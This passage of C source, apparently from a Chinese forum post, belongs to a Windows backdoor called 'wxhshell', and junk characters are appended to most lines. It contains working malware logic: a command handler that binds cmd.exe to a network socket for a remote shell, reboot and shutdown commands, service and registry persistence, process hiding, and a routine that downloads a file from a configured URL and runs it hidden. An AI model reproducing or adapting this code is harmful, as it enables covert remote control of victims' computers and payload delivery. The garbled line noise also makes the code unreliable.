      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sWQfr$^A  
    break; `uq8G  
  } A ;G;^s  
  // 安装 jTf@l?|  
  case 'i': { CHdX;'`*  
    if(Install()) aC^\(wp[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); heltgRt  
    else )bA;?i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bt[/0>i  
    break; \@-@Y  
    } f"B3,6m  
  // 卸载 )) Zf|86N  
  case 'r': { >lmi@UN|k  
    if(Uninstall()) +ylTGSZS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PUz*!9HC  
    else yID 164&r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "HX<,l8f%  
    break; Qf58ig-vCY  
    } 2{M^,=^>  
  // 显示 wxhshell 所在路径 V GL aN%|  
  case 'p': { !*/*8re  
    char svExeFile[MAX_PATH]; 'QG xd!4  
    strcpy(svExeFile,"\n\r"); SIe="YG]<  
      strcat(svExeFile,ExeFile); /;{P}-H`ei  
        send(wsh,svExeFile,strlen(svExeFile),0); l+ 3[ KCE  
    break; *xc_k"\  
    } h~A/y!s  
  // 重启 *zNYZ#  
  case 'b': { V @rI`~$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %`k6w3qI  
    if(Boot(REBOOT)) [l:x'_y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a! (4Ch  
    else { v.\*./-i  
    closesocket(wsh); -Bt k 3  
    ExitThread(0); uvgdY  
    } #w;v0&p  
    break; l_3`G-`2  
    } TH)"wNa  
  // 关机 D,m]CK '  
  case 'd': { 6.FY0.i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T} `x-  
    if(Boot(SHUTDOWN)) o-;E>N7t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YW-usvl&  
    else { W"724fwu&  
    closesocket(wsh); ,9?BcD1  
    ExitThread(0); YpQ7)_s ?  
    } R{RwTN<  
    break; r[1i*b$  
    } ;sfb 4x4  
  // 获取shell ~7Y+2FZ  
  case 's': { g$n7CXoT  
    CmdShell(wsh); 8m5p_\&  
    closesocket(wsh); ot @|!V  
    ExitThread(0); SH3|sXH<  
    break; INUG*JC6  
  } c/Qt Ot  
  // 退出 U93}-){m  
  case 'x': { ^L0d/,ik  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j0Bu-sO$w  
    CloseIt(wsh);  R=.4  
    break; #u2J;9P  
    } "-_fv5jL  
  // 离开 p/(~IC "!J  
  case 'q': { ()tp>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =,%CLS,6w  
    closesocket(wsh); $4-$pL6"  
    WSACleanup(); I[b}4M6E  
    exit(1); 8iW;y2qF  
    break; -r#X~2tPzD  
        } whonDG4WP  
  } @vpf[j  
  } HfcL%b%G8  
_C.BFE _p  
  // 提示信息 ^Y<|F!0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FSUttg"  
} qs|mj}?  
  } . 7zK@6i  
Jm|+-F@I  
  return; ?!wgH9?8  
} "dsU>3u  
xAafm<L@!  
// shell模块句柄 }YjX3|8zL=  
int CmdShell(SOCKET sock) x8!ol2\`<  
{ PpV'F[|,r  
STARTUPINFO si; 6Ztq  
ZeroMemory(&si,sizeof(si)); ;WgJ<&33  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CL)lq)1(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pX/n)q[  
PROCESS_INFORMATION ProcessInfo; Z?pnj8h-&  
char cmdline[]="cmd"; ex+\nD>t4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2LNRtW*  
  return 0; FvN<<&B  
} I96C i2)m  
_8Z_`@0  
// 自身启动模式 j>]nK~[ka  
int StartFromService(void) Th& Wq  
{ (_i vN  
typedef struct zDvP7hl  
{ 6`s%%v  
  DWORD ExitStatus; 8XS {6<  
  DWORD PebBaseAddress; E1{:z"  
  DWORD AffinityMask; ;mo\ yW1  
  DWORD BasePriority; \CJx=[3(  
  ULONG UniqueProcessId; bCE7hutl  
  ULONG InheritedFromUniqueProcessId; qUDz(bFk/  
}   PROCESS_BASIC_INFORMATION; w.T=Lzp  
>XXMIz:  
PROCNTQSIP NtQueryInformationProcess; qj3bt_F!x  
lEYT{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <<W.x)#:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }!Diai*C  
N[ Lz 0c?  
  HANDLE             hProcess; Y|0-m#1F#  
  PROCESS_BASIC_INFORMATION pbi; /_VRO9R\V  
VhH]n yi7D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aaf_3UH.B  
  if(NULL == hInst ) return 0; $cJN9|$6  
avxn}*:X.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rjpafGCp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OFQi&/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0r$hPmvv8  
4xAlaOw5M  
  if (!NtQueryInformationProcess) return 0; TOPPa?=vk  
rs 1*H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "k6IV&0 3x  
  if(!hProcess) return 0; picP_1L  
NBg>i7KQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mBpsgm:g^  
_iboTcUF  
  CloseHandle(hProcess); CI~;B  
2YE]?!   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dE}b8|</  
if(hProcess==NULL) return 0; Lx:N!RDw  
.e _D3Xp<  
HMODULE hMod; our5k   
char procName[255]; f BOG#-a}  
unsigned long cbNeeded; Sn&%epi  
V'/%)oU\"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  \RO Sd  
&,7(Wab  
  CloseHandle(hProcess); $7YLU{0  
So`"z[5  
if(strstr(procName,"services")) return 1; // 以服务启动 3)\qt s5  
rzLl M  
  return 0; // 注册表启动 GXVGU-br  
} 92Iv'(1ba  
S5TT  
// 主模块 j"s(?  
int StartWxhshell(LPSTR lpCmdLine) w2[R&hJ  
{ ~O$]y5  
  SOCKET wsl; iwJgU b  
BOOL val=TRUE; -NeF6  
  int port=0; ?VsZo6Z"  
  struct sockaddr_in door; [y>.)BU  
h+@t8Q;gGw  
  if(wscfg.ws_autoins) Install(); &ii =$4"R  
0=&]!WRT  
port=atoi(lpCmdLine); 7F\g3^ z9`  
r1]^#&V;MC  
if(port<=0) port=wscfg.ws_port; zu%pr95U  
>0oc=9H8  
  WSADATA data; \O~7X0 <W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p?@D'  
>2/zL.O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jo~vOu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W+X zU"l  
  door.sin_family = AF_INET; JnDR(s4(E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FC#Q tu~J  
  door.sin_port = htons(port); /o2eKx  
x;Q2/YZ#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RJSgts "F  
closesocket(wsl); Tw5BvB1  
return 1; RI=B(0 A  
} \Wk$>?+#@  
FCPbp!q6  
  if(listen(wsl,2) == INVALID_SOCKET) { !`gg$9  
closesocket(wsl); ! [X<>  
return 1; oaHBz_pg  
} >7 |37a  
  Wxhshell(wsl); `6/7},"9t  
  WSACleanup(); fCKcv |  
*uIHa"  
return 0; rZEu@63  
`PL!>oa(8  
} QS_u<B  
(:1 j-  
// 以NT服务方式启动 ])`F$S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f}apn=  
{ "7g: u-  
DWORD   status = 0; 7"NUof?i  
  DWORD   specificError = 0xfffffff; G>Q{[m$  
G9 !1Wzs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wg[`H=)Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &e(de$}xt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VioVtP0  
  serviceStatus.dwWin32ExitCode     = 0; \h-[u%  
  serviceStatus.dwServiceSpecificExitCode = 0; [;(| ^0  
  serviceStatus.dwCheckPoint       = 0; bke 1 F '  
  serviceStatus.dwWaitHint       = 0; >QyMeH  
Ul=`]@]]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V;m3=k0U  
  if (hServiceStatusHandle==0) return; <AVpFy  
qD%Jf4.0j  
status = GetLastError(); IH{g-#U  
  if (status!=NO_ERROR)  |,.glL  
{ Xh){W~ -  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gvz&ppcG  
    serviceStatus.dwCheckPoint       = 0; pO"V9[p]  
    serviceStatus.dwWaitHint       = 0; s7=]!7QGS!  
    serviceStatus.dwWin32ExitCode     = status; rQ/S|gG  
    serviceStatus.dwServiceSpecificExitCode = specificError; }4+S_b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wJ+"JQY.J+  
    return; NK d8XQ=%  
  } u+S*D\p<`  
W[+E5I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oZ!rK/qoA  
  serviceStatus.dwCheckPoint       = 0; 4j/8Otn  
  serviceStatus.dwWaitHint       = 0; 7:;P>sF@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pg5 1}{  
} m%m8002  
Nk]r2^.z[  
// 处理NT服务事件,比如:启动、停止 c>I^SY(r%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mw.9cDf  
{ JgEpqA12  
switch(fdwControl) qdzc"-gH`  
{ E_-CsL%  
case SERVICE_CONTROL_STOP: KbSIKj  
  serviceStatus.dwWin32ExitCode = 0; ]_j{b)t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j5tA!o  
  serviceStatus.dwCheckPoint   = 0; U2!9Tl9".  
  serviceStatus.dwWaitHint     = 0; z$;z&X$j  
  { ~g)gXPjke  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I lvjS^j  
  } N-;e" g  
  return; ^cd+W?  
case SERVICE_CONTROL_PAUSE: GtbI w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }F**!%4d  
  break; %KRAcCa7  
case SERVICE_CONTROL_CONTINUE: "5]GEzM3O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jFnq{L t  
  break; 7+=fD|Cl  
case SERVICE_CONTROL_INTERROGATE: D@&0 P&  
  break; :*#I1nb$  
}; BY6QJkI9x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r6QNs1f~.  
} BY72fy#e  
O0c#-K.f  
// 标准应用程序主函数 }JoCk{<31  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4)i/B99k  
{ mRFcZ.7  
PO ]z'LD  
// 获取操作系统版本 x-mRPH  
OsIsNt=GetOsVer(); jv?`9{-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fz~-m#Ts  
f_7a) 'V4  
  // 从命令行安装 v 4DF #O  
  if(strpbrk(lpCmdLine,"iI")) Install(); PJsiT4<  
bwS1YGb  
  // 下载执行文件 a3sXl+$D@  
if(wscfg.ws_downexe) { O3PE w4yA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]8<;,}#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ci <`*>l  
} /T!S)FD\/v  
f^Lw3|rq4  
if(!OsIsNt) { ;*[nZV>  
// 如果时win9x,隐藏进程并且设置为注册表启动 {YT!vD9.  
HideProc(); "(>P=  
StartWxhshell(lpCmdLine); :"#EQq]ct  
} swntz  
else Wf +j/RxTi  
  if(StartFromService()) Nl"< $/  
  // 以服务方式启动 CfNHv-jDL  
  StartServiceCtrlDispatcher(DispatchTable); i"p)%q~ z  
else t-)C0<  
  // 普通方式启动 1D sgU6"  
  StartWxhshell(lpCmdLine); ]'3e#Cqeh  
|X,T>{V?y  
return 0; g@BQ!}_#5  
}
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只看该作者 1 发表于: 2006-10-10
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